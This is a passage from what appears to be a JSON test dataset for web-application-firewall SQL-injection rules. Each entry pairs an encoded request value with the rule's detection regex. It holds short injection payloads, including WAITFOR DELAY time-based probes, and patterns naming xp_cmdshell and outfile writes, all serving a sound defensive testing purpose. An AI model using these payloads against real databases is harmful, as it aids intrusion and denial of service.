"@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "False positive UNION #2047" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=SELECT%20IIF(1%20%3E%201%2C%20'TRUE'%2C%20'FALSE'%20)" } ], "attack_context": { "method": "GET", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "MSSQL Logical Functions - IIF (Transact-SQL) - regression test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=it%20is%20my%20beliif%20%28stemming%20from%20personal%20experience%29%2C%20that" } ], "attack_context": { "method": "GET", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "False positive IIF" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=appUser(sitename,user)" } ], "attack_context": { "method": "GET", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*![\\s\\x0b]*[\\\"'0-9A-Z_-z]|;?[\\s\\x0b]*(?:having|select|union\\b[\\s\\x0b]*(?:all|(?:distin|sele)ct))\\b[\\s\\x0b]*[^\\s\\x0b])|\\b(?:(?:(?:c(?:onnection_id|urrent_user)|database|schema|user)[\\s\\x0b]*?|select.*?[0-9A-Z_a-z]?user)\\(|exec(?:ute)?[\\s\\x0b]+master\\.|from[^0-9A-Z_a-z]+information_schema[^0-9A-Z_a-z]|into[\\s\\x0b\\+]+(?:dump|out)file[\\s\\x0b]*?[\\\"'`]|union(?:[\\s\\x0b]select[\\s\\x0b]@|[\\s\\x0b\\(0-9A-Z_a-z]*?select))|[\\s\\x0b]*?exec(?:ute)?.*?[^0-9A-Z_a-z]xp_cmdshell|[^0-9A-Z_a-z]iif[\\s\\x0b]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeCommentsChar" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942190", "test_description": "False positive (word boundary)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "string_to_convert=4294967296" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?i:-0000023456|4294967295|4294967296|2147483648|2147483647|0000012345|-2147483648|-2147483649|0000023456|2.2250738585072007e-308|2.2250738585072011e-308|1e309)$", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942220", "test_description": "Integer overflow taken from skipfish" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "i=2.2250738585072011e-308" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?i:-0000023456|4294967295|4294967296|2147483648|2147483647|0000012345|-2147483648|-2147483649|0000023456|2.2250738585072007e-308|2.2250738585072011e-308|1e309)$", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942220", "test_description": "PHP strtod infinite loop" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=%29%20like%20%28" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\(\\)]case[\\s\\x0b]+when.*?then|\\)[\\s\\x0b]*?like[\\s\\x0b]*?\\(|select.*?having[\\s\\x0b]*?[^\\s\\x0b]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]|if[\\s\\x0b]?\\([0-9A-Z_a-z]+[\\s\\x0b]*?[<->~]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942230", "test_description": "conditional SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=%29like%28" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\(\\)]case[\\s\\x0b]+when.*?then|\\)[\\s\\x0b]*?like[\\s\\x0b]*?\\(|select.*?having[\\s\\x0b]*?[^\\s\\x0b]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]|if[\\s\\x0b]?\\([0-9A-Z_a-z]+[\\s\\x0b]*?[<->~]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942230", "test_description": "conditional SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=I%20like%20you%21" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\(\\)]case[\\s\\x0b]+when.*?then|\\)[\\s\\x0b]*?like[\\s\\x0b]*?\\(|select.*?having[\\s\\x0b]*?[^\\s\\x0b]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]|if[\\s\\x0b]?\\([0-9A-Z_a-z]+[\\s\\x0b]*?[<->~]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942230", "test_description": "conditional SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=%20case%20when%20condition1%20then%20result1" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\(\\)]case[\\s\\x0b]+when.*?then|\\)[\\s\\x0b]*?like[\\s\\x0b]*?\\(|select.*?having[\\s\\x0b]*?[^\\s\\x0b]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]|if[\\s\\x0b]?\\([0-9A-Z_a-z]+[\\s\\x0b]*?[<->~]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942230", "test_description": "conditional SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=having%20pain%21" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\(\\)]case[\\s\\x0b]+when.*?then|\\)[\\s\\x0b]*?like[\\s\\x0b]*?\\(|select.*?having[\\s\\x0b]*?[^\\s\\x0b]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]|if[\\s\\x0b]?\\([0-9A-Z_a-z]+[\\s\\x0b]*?[<->~]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942230", "test_description": "conditional SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=SELECT%20x%20GROUP%20BY%20SOMETHING%20HAVING%20COUNT%28Id%29%20%3E%3D%209" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\(\\)]case[\\s\\x0b]+when.*?then|\\)[\\s\\x0b]*?like[\\s\\x0b]*?\\(|select.*?having[\\s\\x0b]*?[^\\s\\x0b]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]|if[\\s\\x0b]?\\([0-9A-Z_a-z]+[\\s\\x0b]*?[<->~]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942230", "test_description": "conditional SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=SELECT%20%2A%20FROM%20%60movies%60%20GROUP%20BY%20%60category_id%60%2C%60year_released%60%20HAVING%20%60category_id%60%20%3D%208%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\(\\)]case[\\s\\x0b]+when.*?then|\\)[\\s\\x0b]*?like[\\s\\x0b]*?\\(|select.*?having[\\s\\x0b]*?[^\\s\\x0b]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]|if[\\s\\x0b]?\\([0-9A-Z_a-z]+[\\s\\x0b]*?[<->~]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942230", "test_description": "conditional SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=behaving%20badly%2F" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\(\\)]case[\\s\\x0b]+when.*?then|\\)[\\s\\x0b]*?like[\\s\\x0b]*?\\(|select.*?having[\\s\\x0b]*?[^\\s\\x0b]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]|if[\\s\\x0b]?\\([0-9A-Z_a-z]+[\\s\\x0b]*?[<->~]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942230", "test_description": "conditional SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=o.havingu%40gmail.com" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\(\\)]case[\\s\\x0b]+when.*?then|\\)[\\s\\x0b]*?like[\\s\\x0b]*?\\(|select.*?having[\\s\\x0b]*?[^\\s\\x0b]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]|if[\\s\\x0b]?\\([0-9A-Z_a-z]+[\\s\\x0b]*?[<->~]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942230", "test_description": "conditional SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=if%282%3D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\(\\)]case[\\s\\x0b]+when.*?then|\\)[\\s\\x0b]*?like[\\s\\x0b]*?\\(|select.*?having[\\s\\x0b]*?[^\\s\\x0b]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]|if[\\s\\x0b]?\\([0-9A-Z_a-z]+[\\s\\x0b]*?[<->~]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942230", "test_description": "conditional SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=Just%20in%20case%20%28abc%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\(\\)]case[\\s\\x0b]+when.*?then|\\)[\\s\\x0b]*?like[\\s\\x0b]*?\\(|select.*?having[\\s\\x0b]*?[^\\s\\x0b]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]|if[\\s\\x0b]?\\([0-9A-Z_a-z]+[\\s\\x0b]*?[<->~]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942230", "test_description": "Issue #1914: FP for case" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=if%281234%3D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\(\\)]case[\\s\\x0b]+when.*?then|\\)[\\s\\x0b]*?like[\\s\\x0b]*?\\(|select.*?having[\\s\\x0b]*?[^\\s\\x0b]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]|if[\\s\\x0b]?\\([0-9A-Z_a-z]+[\\s\\x0b]*?[<->~]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942230", "test_description": "Issue #2230: FN for case" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%22+WAITFOR+DELAY+%27%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)alter[\\s\\x0b]*?[0-9A-Z_a-z]+.*?char(?:acter)?[\\s\\x0b]+set[\\s\\x0b]+[0-9A-Z_a-z]+|[\\\"'`](?:;*?[\\s\\x0b]*?waitfor[\\s\\x0b]+(?:time|delay)[\\s\\x0b]+[\\\"'`]|;.*?:[\\s\\x0b]*?goto)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942240", "test_description": "Detects MySQL charset switch and MSSQL DoS attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%22%3Bwaitfor+delay+%27%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)alter[\\s\\x0b]*?[0-9A-Z_a-z]+.*?char(?:acter)?[\\s\\x0b]+set[\\s\\x0b]+[0-9A-Z_a-z]+|[\\\"'`](?:;*?[\\s\\x0b]*?waitfor[\\s\\x0b]+(?:time|delay)[\\s\\x0b]+[\\\"'`]|;.*?:[\\s\\x0b]*?goto)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942240", "test_description": "Detects MySQL charset switch and MSSQL DoS attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%27%3BWAITFOR+DELAY+%27%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)alter[\\s\\x0b]*?[0-9A-Z_a-z]+.*?char(?:acter)?[\\s\\x0b]+set[\\s\\x0b]+[0-9A-Z_a-z]+|[\\\"'`](?:;*?[\\s\\x0b]*?waitfor[\\s\\x0b]+(?:time|delay)[\\s\\x0b]+[\\\"'`]|;.*?:[\\s\\x0b]*?goto)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942240", "test_description": "Detects MySQL charset switch and MSSQL DoS attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%27%3B+waitfor+delay+%27%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)alter[\\s\\x0b]*?[0-9A-Z_a-z]+.*?char(?:acter)?[\\s\\x0b]+set[\\s\\x0b]+[0-9A-Z_a-z]+|[\\\"'`](?:;*?[\\s\\x0b]*?waitfor[\\s\\x0b]+(?:time|delay)[\\s\\x0b]+[\\\"'`]|;.*?:[\\s\\x0b]*?goto)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942240", "test_description": "Detects MySQL charset switch and MSSQL DoS attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%27+waitfor+delay+%27%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)alter[\\s\\x0b]*?[0-9A-Z_a-z]+.*?char(?:acter)?[\\s\\x0b]+set[\\s\\x0b]+[0-9A-Z_a-z]+|[\\\"'`](?:;*?[\\s\\x0b]*?waitfor[\\s\\x0b]+(?:time|delay)[\\s\\x0b]+[\\\"'`]|;.*?:[\\s\\x0b]*?goto)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942240", "test_description": "Detects MySQL charset switch and MSSQL DoS attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%27%3B+WAITFOR+DELAY+%27%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)alter[\\s\\x0b]*?[0-9A-Z_a-z]+.*?char(?:acter)?[\\s\\x0b]+set[\\s\\x0b]+[0-9A-Z_a-z]+|[\\\"'`](?:;*?[\\s\\x0b]*?waitfor[\\s\\x0b]+(?:time|delay)[\\s\\x0b]+[\\\"'`]|;.*?:[\\s\\x0b]*?goto)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942240", "test_description": "Detects MySQL charset switch and MSSQL DoS attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%22+WAITFOR+DELAY+%27%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)alter[\\s\\x0b]*?[0-9A-Z_a-z]+.*?char(?:acter)?[\\s\\x0b]+set[\\s\\x0b]+[0-9A-Z_a-z]+|[\\\"'`](?:;*?[\\s\\x0b]*?waitfor[\\s\\x0b]+(?:time|delay)[\\s\\x0b]+[\\\"'`]|;.*?:[\\s\\x0b]*?goto)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942240", "test_description": "Detects MySQL charset switch and MSSQL DoS attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%22%3BWAITFOR+DELAY+%27%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)alter[\\s\\x0b]*?[0-9A-Z_a-z]+.*?char(?:acter)?[\\s\\x0b]+set[\\s\\x0b]+[0-9A-Z_a-z]+|[\\\"'`](?:;*?[\\s\\x0b]*?waitfor[\\s\\x0b]+(?:time|delay)[\\s\\x0b]+[\\\"'`]|;.*?:[\\s\\x0b]*?goto)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942240", "test_description": "Detects MySQL charset switch and MSSQL DoS attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=%22%3Bwaitfor+delay+%27%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)alter[\\s\\x0b]*?[0-9A-Z_a-z]+.*?char(?:acter)?[\\s\\x0b]+set[\\s\\x0b]+[0-9A-Z_a-z]+|[\\\"'`](?:;*?[\\s\\x0b]*?waitfor[\\s\\x0b]+(?:time|delay)[\\s\\x0b]+[\\\"'`]|;.*?:[\\s\\x0b]*?goto)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942240", "test_description": "Detects 